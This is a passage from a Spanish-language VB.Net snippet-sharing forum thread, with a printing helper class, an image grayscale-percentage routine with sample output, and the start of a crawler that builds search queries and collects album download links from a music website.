  155.    ''' Initializes a new instance of the <see cref="PrintDocumentExpert"/> class.
  156.    ''' </summary>
  157.    ''' ----------------------------------------------------------------------------------------------------
  158.    ''' <param name="filepath">
  159.    ''' The document file path.
  160.    ''' </param>
  161.    '''
  162.    ''' <param name="encoding">
  163.    ''' The text encoding.
  164.    ''' </param>
  165.    ''' ----------------------------------------------------------------------------------------------------
  166.    ''' <exception cref="FileNotFoundException">
  167.    ''' </exception>
  168.    ''' ----------------------------------------------------------------------------------------------------
  169.    <DebuggerStepThrough>
  170.    Public Sub New(ByVal filepath As String, ByVal encoding As Encoding)
  171.        Me.PrintDocument = New PrintDocument() With {
  172.            .DocumentName = filepath
  173.        }
  174.  
  175.        Me.Filepath = filepath
  176.  
  177.        If (encoding Is Nothing) Then
  178.            Me.DocumentStream = New StreamReader(filepath, detectEncodingFromByteOrderMarks:=True)
  179.            Me.Encoding = Me.DocumentStream.CurrentEncoding
  180.        Else
  181.            Me.Encoding = encoding
  182.            Me.DocumentStream = New StreamReader(filepath, encoding, detectEncodingFromByteOrderMarks:=False)
  183.        End If
  184.    End Sub
  185.  
  186. #End Region
  187.  
  188. #Region " Public Methods "
  189.  
  190.    ''' ----------------------------------------------------------------------------------------------------
  191.    ''' <summary>
  192.    ''' Prints the current document.
  193.    ''' </summary>
  194.    ''' ----------------------------------------------------------------------------------------------------
  195.    ''' <exception cref="IOException">
  196.    ''' No printer device is installed.
  197.    ''' </exception>
  198.    '''
  199.    ''' <exception cref="Exception">
  200.    ''' Printer name is not valid.
  201.    ''' </exception>
  202.    '''
  203.    ''' <exception cref="Exception">
  204.    ''' The 'PrintDocumentExpert.PrintPageEventHandler' property must be set before calling the 'PrintDocumentExpert.Print()' method.
  205.    ''' </exception>
  206.    ''' ----------------------------------------------------------------------------------------------------
  207.    <DebuggerStepThrough>
  208.    Public Overridable Sub Print()
  209.  
  210.        If (PrinterSettings.InstalledPrinters.Count = 0) Then
  211.            Throw New IOException("No printer device is installed.")
  212.        End If
  213.  
  214.        If Not String.IsNullOrEmpty(Me.PrinterSettings.PrinterName) AndAlso Not (Me.PrinterSettings.IsValid) Then
  215.            Throw New Exception("Printer name is not valid.")
  216.        End If
  217.  
  218.        If (Me.PrintPageEventHandler Is Nothing) Then
  219.            Throw New Exception("The 'PrintDocumentExpert.PrintPageEventHandler' property must be set before calling the 'PrintDocumentExpert.Print()' method.")
  220.        End If
  221.  
  222.        AddHandler Me.PrintDocument.BeginPrint, Me.BeginPrintEventHandler
  223.        AddHandler Me.PrintDocument.QueryPageSettings, Me.QueryPageSettingsEventHandler
  224.        AddHandler Me.PrintDocument.PrintPage, Me.PrintPageEventHandler
  225.        AddHandler Me.PrintDocument.EndPrint, Me.EndPrintEventHandler
  226.  
  227.        Me.PrintDocument.PrinterSettings = Me.PrinterSettings
  228.        Me.PrintDocument.Print()
  229.  
  230.        RemoveHandler Me.PrintDocument.BeginPrint, Me.BeginPrintEventHandler
  231.        RemoveHandler Me.PrintDocument.QueryPageSettings, Me.QueryPageSettingsEventHandler
  232.        RemoveHandler Me.PrintDocument.PrintPage, Me.PrintPageEventHandler
  233.        RemoveHandler Me.PrintDocument.EndPrint, Me.EndPrintEventHandler
  234.  
  235.    End Sub
  236.  
  237.    ''' ----------------------------------------------------------------------------------------------------
  238.    ''' <summary>
  239.    ''' Cancels the print job for the current document.
  240.    ''' </summary>
  241.    ''' ----------------------------------------------------------------------------------------------------
  242.    ''' <exception cref="Exception">
  243.    ''' Print job not found.
  244.    ''' </exception>
  245.    ''' ----------------------------------------------------------------------------------------------------
  246.    <DebuggerStepThrough>
  247.    Public Overridable Sub CancelPrint()
  248.  
  249.        Dim scope As New ManagementScope("root\CIMV2")
  250.        Dim query As New SelectQuery(String.Format("SELECT * FROM Win32_PrintJob WHERE Document = '{0}'", Me.PrintDocument.DocumentName))
  251.        Dim options As New EnumerationOptions With {
  252.                .ReturnImmediately = True,
  253.                .Rewindable = False,
  254.                .DirectRead = True,
  255.                .EnumerateDeep = False
  256.            }
  257.  
  258.        Using mos As New ManagementObjectSearcher(scope, query, options),
  259.              moc As ManagementObjectCollection = mos.Get()
  260.  
  261.            If (moc.Count = 0) Then
  262.                Throw New Exception("Print job not found.")
  263.            End If
  264.  
  265.            For Each mo As ManagementObject In moc
  266.                mo.Delete()
  267.            Next mo
  268.  
  269.        End Using
  270.  
  271.    End Sub
  272.  
  273. #End Region
  274.  
  275. #Region " IDisposable Implementation "
  276.  
  277.    ''' ----------------------------------------------------------------------------------------------------
  278.    ''' <summary>
  279.    ''' Flag to detect redundant calls when disposing.
  280.    ''' </summary>
  281.    ''' ----------------------------------------------------------------------------------------------------
  282.    Private isDisposed As Boolean = False
  283.  
  284.    ''' ----------------------------------------------------------------------------------------------------
  285.    ''' <summary>
  286.    ''' Releases all the resources used by this <see cref="PrintDocumentBasic"/> instance.
  287.    ''' </summary>
  288.    ''' ----------------------------------------------------------------------------------------------------
  289.    <DebuggerStepThrough>
  290.    Public Sub Dispose() Implements IDisposable.Dispose
  291.        Me.Dispose(isDisposing:=True)
  292.        GC.SuppressFinalize(obj:=Me)
  293.    End Sub
  294.  
  295.    ''' ----------------------------------------------------------------------------------------------------
  296.    ''' <summary>
  297.    ''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
  298.    ''' </summary>
  299.    ''' ----------------------------------------------------------------------------------------------------
  300.    ''' <param name="isDisposing">
  301.    ''' <see langword="True"/>  to release both managed and unmanaged resources;
  302.    ''' <see langword="False"/> to release only unmanaged resources.
  303.    ''' </param>
  304.    ''' ----------------------------------------------------------------------------------------------------
  305.    <DebuggerStepThrough>
  306.    Protected Overridable Sub Dispose(ByVal isDisposing As Boolean)
  307.  
  308.        If (Not Me.isDisposed) AndAlso (isDisposing) Then
  309.  
  310.            If (Me.PrintDocument IsNot Nothing) Then
  311.                Me.PrintDocument.Dispose()
  312.                Me.PrintDocument = Nothing
  313.            End If
  314.  
  315.            If (Me.DocumentStream IsNot Nothing) Then
  316.                Me.DocumentStream.Close()
  317.            End If
  318.  
  319.        End If
  320.  
  321.        Me.isDisposed = True
  322.  
  323.    End Sub
  324.  
  325. #End Region
  326.  
  327. End Class

MODO DE EMPLEO:
Código
  1. Public Module Module1
  2.  
  3.    Private printExpert As PrintDocumentExpert
  4.  
  5.    Public Sub Main()
  6.  
  7.        printExpert = New PrintDocumentExpert("C:\Document.txt", Encoding.Default)
  8.  
  9.        Using printExpert
  10.            printExpert.PrinterSettings = New PrinterSettings With {
  11.                    .PrinterName = "My Printer Name"
  12.                }
  13.  
  14.            printExpert.BeginPrintEventHandler = AddressOf PrintDocument_BeginPrint
  15.            printExpert.QueryPageSettingsEventHandler = AddressOf PrintDocument_QueryPageSettings
  16.            printExpert.PrintPageEventHandler = AddressOf PrintDocument_PrintPage
  17.            printExpert.EndPrintEventHandler = AddressOf PrintDocument_EndPrint
  18.  
  19.            printExpert.Print()
  20.        End Using
  21.  
  22.    End Sub
  23.  
  24.    Public Sub PrintDocument_BeginPrint(ByVal sender As Object, ByVal e As PrintEventArgs)
  25.    End Sub
  26.  
  27.    Public Sub PrintDocument_QueryPageSettings(ByVal sender As Object, ByVal e As QueryPageSettingsEventArgs)
  28.    End Sub
  29.  
  30.    Public Sub PrintDocument_PrintPage(ByVal sender As Object, ByVal e As PrintPageEventArgs)
  31.        ' Page settings.
  32.        Dim font As New Font("Arial", 10.0F, FontStyle.Regular)
  33.        Dim brush As New SolidBrush(Color.Green)
  34.        Dim stringFormat As New StringFormat()
  35.        Dim leftMargin As Single = e.MarginBounds.Left
  36.        Dim topMargin As Single = e.MarginBounds.Top
  37.  
  38.        ' Calculate the number of lines per page.
  39.        Dim linesPerPage As Single = (e.MarginBounds.Height / font.GetHeight(e.Graphics))
  40.  
  41.        ' Iterate over the file, printing each line.
  42.        Dim line As String = Nothing
  43.        Dim count As Integer
  44.        While (count < linesPerPage)
  45.            line = printExpert.DocumentStream.ReadLine()
  46.            If (line Is Nothing) Then
  47.                Exit While
  48.            End If
  49.            Dim yPos As Single = (topMargin + count * font.GetHeight(e.Graphics))
  50.            e.Graphics.DrawString(line, font, brush, leftMargin, yPos, stringFormat)
  51.            count += 1
  52.        End While
  53.  
  54.        font.Dispose()
  55.        brush.Dispose()
  56.        stringFormat.Dispose()
  57.  
  58.        ' If more lines exist, print another page.
  59.        e.HasMorePages = (line IsNot Nothing)
  60.    End Sub
  61.  
  62.    Public Sub PrintDocument_EndPrint(ByVal sender As Object, ByVal e As PrintEventArgs)
  63.    End Sub
  64.  
  65. End Module

MODO DE EMPLEO ALTERNATIVO:
Código
  1. Public Sub Main()
  2.  
  3.    Dim printExpert As PrintDocumentExpert = Nothing
  4.  
  5.    Dim beginPrintEventHandler As PrintEventHandler =
  6.        Sub(ByVal sender As Object, ByVal e As PrintEventArgs)
  7.        End Sub
  8.  
  9.    Dim queryPageSettingsEventHandler As QueryPageSettingsEventHandler =
  10.        Sub(ByVal sender As Object, ByVal e As QueryPageSettingsEventArgs)
  11.        End Sub
  12.  
  13.    Dim printPageEventHandler As PrintPageEventHandler =
  14.    Sub(ByVal sender As Object, ByVal e As PrintPageEventArgs)
  15.        ' Page settings.
  16.        Dim font As New Font("Arial", 10.0F, FontStyle.Regular)
  17.        Dim brush As New SolidBrush(Color.Green)
  18.        Dim stringFormat As New StringFormat()
  19.        Dim leftMargin As Single = e.MarginBounds.Left
  20.        Dim topMargin As Single = e.MarginBounds.Top
  21.  
  22.        ' Calculate the number of lines per page.
  23.        Dim linesPerPage As Single = (e.MarginBounds.Height / font.GetHeight(e.Graphics))
  24.  
  25.        ' Iterate over the file, printing each line.
  26.        Dim line As String = Nothing
  27.        Dim count As Integer
  28.        While (count < linesPerPage)
  29.            line = printExpert.DocumentStream.ReadLine()
  30.            If (line Is Nothing) Then
  31.                Exit While
  32.            End If
  33.            Dim yPos As Single = (topMargin + count * font.GetHeight(e.Graphics))
  34.            e.Graphics.DrawString(line, font, brush, leftMargin, yPos, stringFormat)
  35.            count += 1
  36.        End While
  37.  
  38.        font.Dispose()
  39.        brush.Dispose()
  40.        stringFormat.Dispose()
  41.  
  42.        ' If more lines exist, print another page.
  43.        e.HasMorePages = (line IsNot Nothing)
  44.    End Sub
  45.  
  46.    Dim endPrintEventHandler As PrintEventHandler =
  47.        Sub(ByVal sender As Object, ByVal e As PrintEventArgs)
  48.        End Sub
  49.  
  50.    printExpert = New PrintDocumentExpert("C:\Document.txt", Encoding.Default)
  51.    Using printExpert
  52.        printExpert.PrinterSettings = New PrinterSettings With {
  53.            .PrinterName = "My Printer Name"
  54.        }
  55.  
  56.        printExpert.BeginPrintEventHandler = beginPrintEventHandler
  57.        printExpert.QueryPageSettingsEventHandler = queryPageSettingsEventHandler
  58.        printExpert.PrintPageEventHandler = printPageEventHandler
  59.        printExpert.EndPrintEventHandler = endPrintEventHandler
  60.  
  61.        printExpert.Print()
  62.    End Using
  63.  
  64. End Sub


« Última modificación: 28 Marzo 2018, 16:32 pm por Eleкtro » En línea



Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.874



Ver Perfil
Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
« Respuesta #522 en: 29 Marzo 2018, 04:27 am »

¿Cómo determinar el porcentaje de escala de grises (a.k.a Grayscale ) en una imagen?

El siguiente algoritmo sirve para determinar el porcentaje de presencia de escala de grises en una imagen, y con ese pocertaje el programador puede tener la libertad de considerar si la imagen es en escala de grises o no lo es; por ejemplo si una imagen de 256x256px de compone de un 80% de píxeles con color en escala de grises (es decir ROJO = VERDE = AZUL), quizás queramos tratar ese tipo de imagen como una imagen en escala de grises, aunque solo lo sea parcialmente.

La necesidad de usar esta metodología basada en porcentajes tiene un buen motivo, y es que cualquier imagen desaturada probablemente la querramos considerar como una imagen en escala de grises, aunque por definición no lo sea, como por ejemplo estas imagenes de aquí abajo las cuales NO son en escala de grises (la paleta entera de colores)...





son imágenes desaturadas pero probablemente ese tipo de imágenes las querramos considerar como escala de grises en muchos escenarios para diferenciarlas del resto de imágenes...¿verdad?, es por ello que este tipo de metodología me pareció más útil y versatil para necesidades generales, aunque obviamente es un procedmiento más lento que otros al tener que analizar pixel por pixel para calcular un porcentaje de presencia de píxeles en escala de grises...

En fin, aquí abajo os dejo el código, pero debo avisar de que todavía NO está del todo acabado ni perfeccionado, me falta refactorizarlo y arreglar algunas pequeñas cosas, como por ejemplo aumentar la compatibilidad de formatos, analizar los píxeles del padding del stride ( https://msdn.microsoft.com/en-us/library/windows/desktop/aa473780(v=vs.85).aspx ), y tener en cuenta imágenes GIF con múltiples dimensiones (que no frames). Pero por el momento este código es algo que funciona bien para obtener los resultados esperados dentro de un margen de error aceptable, así que es una solución más que suficiente para los escenarios más simples y comunes.

EDITO: código mejorado
Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Analyzes each pixel of the spcified image, counts all the pixels that are within the grayscale RGB range,
  4. ''' then calculates a percentage of the total grayscale presence in the image.
  5. ''' </summary>
  6. ''' ----------------------------------------------------------------------------------------------------
  7. ''' <example> This is a code example.
  8. ''' <code>
  9. ''' For Each file As FileInfo In New DirectoryInfo("C:\Images").EnumerateFiles("*.gif", SearchOption.TopDirectoryOnly)
  10. '''
  11. '''     Using img As Image = Image.FromFile(file.FullName)
  12. '''         Dim percent As Double = GetGrayScalePixelPercentOfImage(img)
  13. '''         Dim strFormat As String = String.Format("[{0,6:F2} %]: {1}", percent, file.Name)
  14. '''
  15. '''         Console.WriteLine(strFormat)
  16. '''     End Using
  17. '''
  18. ''' Next file
  19. ''' </code>
  20. ''' </example>
  21. ''' ----------------------------------------------------------------------------------------------------
  22. ''' <param name="img">
  23. ''' The source image.
  24. ''' </param>
  25. ''' ----------------------------------------------------------------------------------------------------
  26. ''' <returns>
  27. ''' The resulting percentage of grayscale pixels in the source image.
  28. ''' </returns>
  29. ''' ----------------------------------------------------------------------------------------------------
  30. <DebuggerStepThrough>
  31. Public Shared Function GetGrayScalePixelPercentOfImage(ByVal img As Image) As Double
  32.    Return GetGrayScalePixelPercentOfImage(img, dimensionIndex:=0)
  33. End Function
  34.  
  35. ''' ----------------------------------------------------------------------------------------------------
  36. ''' <summary>
  37. ''' Analyzes each pixel of the spcified image, counts all the pixels that are within the grayscale RGB range,
  38. ''' then calculates a percentage of the total grayscale presence in the image.
  39. ''' </summary>
  40. ''' ----------------------------------------------------------------------------------------------------
  41. ''' <example> This is a code example.
  42. ''' <code>
  43. ''' For Each file As FileInfo In New DirectoryInfo("C:\Images").EnumerateFiles("*.gif", SearchOption.TopDirectoryOnly)
  44. '''
  45. '''     Using img As Image = Image.FromFile(file.FullName)
  46. '''         Dim percent As Double = GetGrayScalePixelPercentOfImage(img, dimensionIndex:=0)
  47. '''         Dim strFormat As String = String.Format("[{0,6:F2} %]: {1}", percent, file.Name)
  48. '''
  49. '''         Console.WriteLine(strFormat)
  50. '''     End Using
  51. '''
  52. ''' Next file
  53. ''' </code>
  54. ''' </example>
  55. ''' ----------------------------------------------------------------------------------------------------
  56. ''' <param name="img">
  57. ''' The source image.
  58. ''' </param>
  59. ''' ----------------------------------------------------------------------------------------------------
  60. ''' <returns>
  61. ''' The resulting percentage of grayscale pixels in the source image.
  62. ''' </returns>
  63. ''' ----------------------------------------------------------------------------------------------------
  64. <DebuggerStepThrough>
  65. Public Shared Function GetGrayScalePixelPercentOfImage(ByVal img As Image, ByVal dimensionIndex As Integer) As Double
  66.  
  67.    Select Case img.PixelFormat
  68.  
  69.        Case Imaging.PixelFormat.Format16bppGrayScale
  70.            Return 100.0R
  71.  
  72.        Case Else
  73.            Dim bmp As Bitmap = DirectCast(img, Bitmap)
  74.  
  75.            Dim pixelFormat As Imaging.PixelFormat = Imaging.PixelFormat.Format32bppArgb
  76.            Dim bytesPerPixel As Integer = 4 ' PixelFormat.Format32bppArgb
  77.            Dim pixelCount As Integer = (bmp.Width * bmp.Height)
  78.  
  79.            Dim framesGrayscalePercents As New List(Of Double)
  80.  
  81.            Dim dimensionCount As Integer = bmp.FrameDimensionsList.Count
  82.            If (dimensionIndex > (dimensionCount - 1))Then
  83.                Throw New IndexOutOfRangeException("The specified 'dimensionIndex' value is greater than the dimension count in the source image.")
  84.            End If
  85.  
  86.            Dim frameDimension As New FrameDimension(bmp.FrameDimensionsList(dimensionIndex))
  87.            Dim frameCount As Integer = bmp.GetFrameCount(frameDimension)
  88.  
  89.            For frameIndex As Integer = 0 To (frameCount - 1)
  90.  
  91.                bmp.SelectActiveFrame(frameDimension, frameIndex)
  92.  
  93.                ' Lock the bitmap bits.
  94.                Dim rect As New Rectangle(Point.Empty, bmp.Size)
  95.                Dim bmpData As BitmapData = bmp.LockBits(rect, ImageLockMode.ReadOnly, pixelFormat)
  96.  
  97.                ' Get the address of the first row.
  98.                Dim address As IntPtr = bmpData.Scan0
  99.  
  100.                ' Declare an array to hold the bytes of the bitmap.
  101.                Dim numBytes As Integer = (Math.Abs(bmpData.Stride) * rect.Height)
  102.                Dim rawImageData As Byte() = New Byte(numBytes - 1) {}
  103.  
  104.                ' Copy the RGB values into the array.
  105.                Marshal.Copy(address, rawImageData, 0, numBytes)
  106.  
  107.                ' Unlock the bitmap bits.
  108.                bmp.UnlockBits(bmpData)
  109.  
  110.                ' Iterate the pixels.
  111.                Dim grayscalePixelCount As Long ' of current frame.
  112.                For i As Integer = 0 To (rawImageData.Length - bytesPerPixel) Step bytesPerPixel
  113.  
  114.                    ' Dim alpha As Byte = rawImageData(i + 3)
  115.                    Dim red As Byte = rawImageData(i + 2)
  116.                    Dim green As Byte = rawImageData(i + 1)
  117.                    Dim blue As Byte = rawImageData(i)
  118.  
  119.                    If (red = green) AndAlso (green = blue) AndAlso (blue = red) Then
  120.                        grayscalePixelCount += 1
  121.                    End If
  122.  
  123.                Next i
  124.  
  125.                Dim frameGrayscalePercent As Double = ((grayscalePixelCount / pixelCount) * 100)
  126.                framesGrayscalePercents.Add(frameGrayscalePercent)
  127.  
  128.                grayscalePixelCount = 0
  129.            Next frameIndex
  130.  
  131.            Return (framesGrayscalePercents.Sum() / frameCount)
  132.  
  133.    End Select
  134.  
  135. End Function

Ejemplo de uso:
Código
  1. For Each file As FileInfo In New DirectoryInfo("C:\Images").EnumerateFiles("*.gif", SearchOption.TopDirectoryOnly)
  2.  
  3.    Using img As Image = Image.FromFile(file.FullName)
  4.        Dim percent As Double = GetGrayScalePixelPercentOfImage(img)
  5.        Dim strFormat As String = String.Format("[{0,6:F2} %]: {1}", percent, file.Name)
  6.  
  7.        Console.WriteLine(strFormat)
  8.    End Using
  9.  
  10. Next file

Salida de ejecución:
Cita de: Visual Studio
Código:
...
[100.00%]: 3066279034_22e5cf9106_o.gif
[  0.00%]: 32.gif
[  3.30%]: 3680650203a3998289_f47a.gif
[  8.11%]: 3Gg9L8.gif
[100.00%]: 3mp3z4riv4.gif
[  1.14%]: 4291d5bb0f6574cdd24dfbf8962f2f28-p1.gif
[  2.22%]: 4e3149ff0114b_af0234434ffb9e48ce1edc3af6ce1a2c.gif
[ 13.42%]: 4e4d24314abf8_d4acae20ee9fe20f019927b098a8e8e6.gif
[ 28.13%]: 4e7b20c8d03fc_e93059b97d764b1681534f714c318ba7.gif
[  4.43%]: 4e92c46d124de_aa5135da3b32b8eee8a80aa2a2550f5d.gif
[  0.68%]: 5055.gif
[100.00%]: 506c602fd749e_a2c439e67bf77d03ba94a914d8927f4a.gif
[100.00%]: 511d0b2580b20_abd567e0d431dd00bb7bc162eb4d171c.gif
[  2.34%]: 520374123e3d3_285a501b39852024a053090a304647ca.gif
[  2.74%]: 543ea44def8f2_a3e09112b3710ce306ddf167991604e1.gif
...





¿Cómo determinar si una imagen está en escala de grises?

Si buscan una solución más sofisticada que la mia hecha en WinForms, recomiendo encarecidamente usar este código en WPF:


Su solución y la mia tienen distintos objetivos aunque a priori parezcan "lo mismo", su solución tiene como propósito determinar si una imagen es en escala de grises por definición, mientras que la mia lo que hace es determinar el porcentaje de presencia de píxeles en escala de grises de una imagen, y por ello su solución devolverá resultados "inesperados" según el tipo de imagen (imagen en blanco y negro, en colores vivos, escala de grises, o simples imagenes desaturadas), pero eso no quita que su solución sea EXCELENTE, de hecho, es mucho mejor que mi solución en el caso de que no deseamos considerar imágenes desaturadas como escala de grises sino que solo queramos trabajar con imágenes en escala de grises por definición técnica.

Saludos!
« Última modificación: 3 Abril 2018, 11:29 am por Eleкtro » En línea



Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.874



Ver Perfil
Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
« Respuesta #523 en: 5 Abril 2018, 01:34 am »

Comparto el código fuente de FHM Crawler, mejorado y documentado... (bueno, me he visto obligado a simplificar y recortar la documentación por el límite de caracteres del foro)

Aquí el programa original:


Aquí el nuevo algoritmo reutilizable:

AlbumInfo.vb
Código
  1. #Region " Imports "
  2.  
  3. Imports System.Collections.ObjectModel
  4.  
  5. #End Region
  6.  
  7. Namespace FHM
  8.  
  9.    ''' <summary>Represents the information of an album crawled with <see cref="FHM.Crawler"/>.</summary>
  10.    Public NotInheritable Class AlbumInfo
  11.  
  12. #Region " Properties "
  13.  
  14.        ''' <summary>Gets the album identifier (that is used in the 'sobiid' and 'sobi2id' parameters).</summary>
  15.        Public ReadOnly Property Id As String
  16.  
  17.        ''' <summary>Gets the album <see cref="Uri"/>.</summary>
  18.        Public ReadOnly Property Uri As Uri
  19.  
  20.        ''' <summary>Gets the artist name.</summary>
  21.        Public ReadOnly Property Artist As String
  22.  
  23.        ''' <summary>Gets the album title.</summary>
  24.        Public ReadOnly Property Title As String
  25.  
  26.        ''' <summary>Gets the country of the band/artist.</summary>
  27.        Public ReadOnly Property Country As String
  28.  
  29.        ''' <summary>Gets the music genre.</summary>
  30.        Public ReadOnly Property Genre As String
  31.  
  32.        ''' <summary>Gets the year that the album has been released.</summary>
  33.        Public ReadOnly Property Year As Integer
  34.  
  35.        ''' <summary>Gets the urls to download the album. It can be a single url, or multiple of them.</summary>
  36.        Public ReadOnly Property DownloadLinks As ReadOnlyCollection(Of String)
  37.  
  38. #End Region
  39.  
  40. #Region " Constructors "
  41.  
  42.        Private Sub New()
  43.        End Sub
  44.  
  45.        ''' <summary>Initializes a new instance of the <see cref="AlbumInfo"/> class.</summary>
  46.        ''' <param name="id">The album identifier>.</param>
  47.        ''' <param name="uri">The album <see cref="Uri"/>.</param>
  48.        ''' <param name="artist">The artist name.</param>
  49.        ''' <param name="title">The album title.</param>
  50.        ''' <param name="country">The country of the band/artist.</param>
  51.        ''' <param name="genre">The music genre.</param>
  52.        ''' <param name="year">The year that the album has been released.</param>
  53.        ''' <param name="downloadLinks">The urls to download the album. It can be a single url, or multiple of them.</param>
  54.        Public Sub New(id As String, uri As Uri,
  55.                       artist As String, title As String,
  56.                       country As String, genre As String, year As Integer,
  57.                       downloadLinks As IEnumerable(Of String))
  58.  
  59.            Me.Id = id
  60.            Me.Uri = uri
  61.            Me.Artist = artist
  62.            Me.Title = title
  63.            Me.Country = country
  64.            Me.Genre = genre
  65.            Me.Year = year
  66.            Me.DownloadLinks = New ReadOnlyCollection(Of String)(downloadLinks)
  67.  
  68.        End Sub
  69.  
  70. #End Region
  71.  
  72.    End Class
  73.  
  74. End Namespace

SearchQuery.vb
Código
  1. #Region " Imports "
  2.  
  3. Imports System.Collections.Specialized
  4.  
  5. Imports ElektroKit.Core.Extensions.NameValueCollection
  6.  
  7. #End Region
  8.  
  9. Namespace FHM
  10.  
  11.    ''' <summary>Represents a search query of the http://freehardmusic.com/ website,
  12.    ''' that is managed by the <see cref="FHM.Crawler.FetchAlbums()"/>
  13.    ''' and <see cref="FHM.Crawler.FetchAlbumsAsync()"/> methods.
  14.    ''' <para></para>
  15.    ''' Note that a search query can be performed in two different ways:
  16.    ''' <para></para>
  17.    ''' 1. An artist-name based search (<see cref="SearchQuery.Artist"/>).
  18.    ''' <para></para>
  19.    ''' 2. A non-artist name based search. That is, a custom search based on country (<see cref="SearchQuery.Country"/>),
  20.    ''' genre (<see cref="SearchQuery.Genre"/>) or year criterias (<see cref="SearchQuery.Year"/>);
  21.    ''' this kind of search can combine the three mentioned criterias, but not the artist name (<see cref="SearchQuery.Artist"/>).
  22.    Public NotInheritable Class SearchQuery
  23.  
  24. #Region " Properties "
  25.  
  26.        ''' <summary>Gets or sets the artist name.</summary>
  27.        Public Property Artist As String
  28.            Get
  29.                Return Me.artistB
  30.            End Get
  31.            <DebuggerStepThrough>
  32.            Set(value As String)
  33.                If Not (Me.countryB.Equals("all", StringComparison.OrdinalIgnoreCase)) OrElse
  34.                   Not (Me.genreB.Equals("all", StringComparison.OrdinalIgnoreCase)) OrElse
  35.                   Not (Me.yearB.Equals("all", StringComparison.OrdinalIgnoreCase)) Then
  36.  
  37.                    Throw New ArgumentException("To perform an artist-name based search, you must set the value of Country, Genre and Year properties to ""all"" before setting the Artist property.", paramName:=NameOf(value))
  38.                End If
  39.                Me.artistB = value
  40.            End Set
  41.        End Property
  42.        Private artistB As String
  43.  
  44.        ''' <summary>Gets or sets the country of the band/artist.</summary>
  45.        Public Property Country As String
  46.            Get
  47.                Return Me.countryB
  48.            End Get
  49.            <DebuggerStepThrough>
  50.            Set(value As String)
  51.                If Not (value.Equals("all", StringComparison.OrdinalIgnoreCase)) AndAlso Not String.IsNullOrEmpty(Me.artistB) Then
  52.                    Throw New ArgumentException("To perform a country based search, you must set the value of Artist property to an empty string.", paramName:=NameOf(value))
  53.                End If
  54.                Me.countryB = value
  55.            End Set
  56.        End Property
  57.        Private countryB As String
  58.  
  59.        ''' <summary>Gets or sets the music genre.</summary>
  60.        Public Property Genre As String
  61.            Get
  62.                Return Me.genreB
  63.            End Get
  64.            <DebuggerStepThrough>
  65.            Set(value As String)
  66.                If Not (value.Equals("all", StringComparison.OrdinalIgnoreCase)) AndAlso Not String.IsNullOrEmpty(Me.artistB) Then
  67.                    Throw New ArgumentException("To perform a genre based search, you must set the value of Artist property to an empty string.", paramName:=NameOf(value))
  68.                End If
  69.                Me.genreB = value
  70.            End Set
  71.        End Property
  72.        Private genreB As String
  73.  
  74.        ''' <summary>Gets or sets the year that the album has been released.</summary>
  75.        Public Property Year As String
  76.            Get
  77.                Return Me.yearB
  78.            End Get
  79.            <DebuggerStepThrough>
  80.            Set(value As String)
  81.                If Not (value.Equals("all", StringComparison.OrdinalIgnoreCase)) AndAlso Not String.IsNullOrEmpty(Me.artistB) Then
  82.                    Throw New ArgumentException("To perform a year based search, you must set the value of Artist property to an empty string.", paramName:=NameOf(value))
  83.                End If
  84.                Me.yearB = value
  85.            End Set
  86.        End Property
  87.        Private yearB As String
  88.  
  89.        ''' <summary>Gets the <see cref="Uri"/> that represents this search query.</summary>
  90.        Public ReadOnly Property Uri As Uri
  91.            Get
  92.                Return Me.Uri(searchPage:=0)
  93.            End Get
  94.        End Property
  95.  
  96.        ''' <summary>Gets the <see cref="Uri"/> that represents this search query.</summary>
  97.        ''' <param name="searchPage">The index of the search page parameter.</param>
  98.        Public ReadOnly Property Uri(searchPage As Integer) As Uri
  99.            Get
  100.                Return New Uri(Me.ToString(searchPage), UriKind.Absolute)
  101.            End Get
  102.        End Property
  103.  
  104. #End Region
  105.  
  106. #Region " Constructors "
  107.  
  108.        Private Sub New()
  109.        End Sub
  110.  
  111.        ''' <summary>Initializes a new instance of the <see cref="SearchQuery"/> class.</summary>
  112.        ''' <param name="artist">The artist name.</param>
  113.        Public Sub New(artist As String)
  114.            Me.artistB = artist
  115.            Me.genreB = "all"
  116.            Me.countryB = "all"
  117.            Me.yearB = "all"
  118.        End Sub
  119.  
  120.        ''' <summary>Initializes a new instance of the <see cref="SearchQuery"/> class.</summary>
  121.        ''' <param name="genre">The music genre. Default value is: "all"</param>
  122.        ''' <param name="country">The country of the band/artist. Default value is: "all"</param>
  123.        ''' <param name="year">The year that the album has been released. Default value is: "all"</param>
  124.        Public Sub New(Optional genre As String = "all",
  125.                       Optional country As String = "all",
  126.                       Optional year As String = "all")
  127.  
  128.            Me.artistB = ""
  129.            Me.genreB = genre
  130.            Me.countryB = country
  131.            Me.yearB = year
  132.        End Sub
  133.  
  134. #End Region
  135.  
  136. #Region " Public Methods "
  137.  
  138.        ''' <summary>Resets the current search query to its default values.</summary>
  139.        <DebuggerStepThrough>
  140.        Public Sub Reset()
  141.            Me.Artist = ""
  142.            Me.Country = "all"
  143.            Me.Genre = "all"
  144.            Me.Year = "all"
  145.        End Sub
  146.  
  147.        ''' <summary>Returns a <see cref="String"/> that represents the search query.</summary>
  148.        ''' <returns>A <see cref="String"/> that represents the search query.</returns>
  149.        Public Overrides Function ToString() As String
  150.            Return Me.ToString(searchPage:=0)
  151.        End Function
  152.  
  153.        ''' <summary>Returns a <see cref="String"/> that represents the search query.</summary>
  154.        ''' <param name="searchPage">The index of the search page parameter.</param>
  155.        ''' <returns>A <see cref="String"/> that represents the search query.</returns>
  156.        Public Overloads Function ToString(searchPage As Integer) As String
  157.  
  158.            If (searchPage < 0) Then
  159.                Throw New ArgumentException("Positive integer value is required.", paramName:=NameOf(searchPage))
  160.            End If
  161.  
  162.            Dim params As New NameValueCollection From {
  163.                {"field_band", Me.Artist},
  164.                {"field_country", Me.Country},
  165.                {"field_genre", Me.Genre},
  166.                {"field_year", Me.Year},
  167.                {"option", "com_sobi2"},
  168.                {"search", "Search"},
  169.                {"searchphrase", "exact"},
  170.                {"sobi2Search", ""},
  171.                {"sobi2Task", "axSearch"},
  172.                {"SobiCatSelected_0", "0"},
  173.                {"sobiCid", "0"},
  174.                {"SobiSearchPage", searchPage}
  175.            }
  176.  
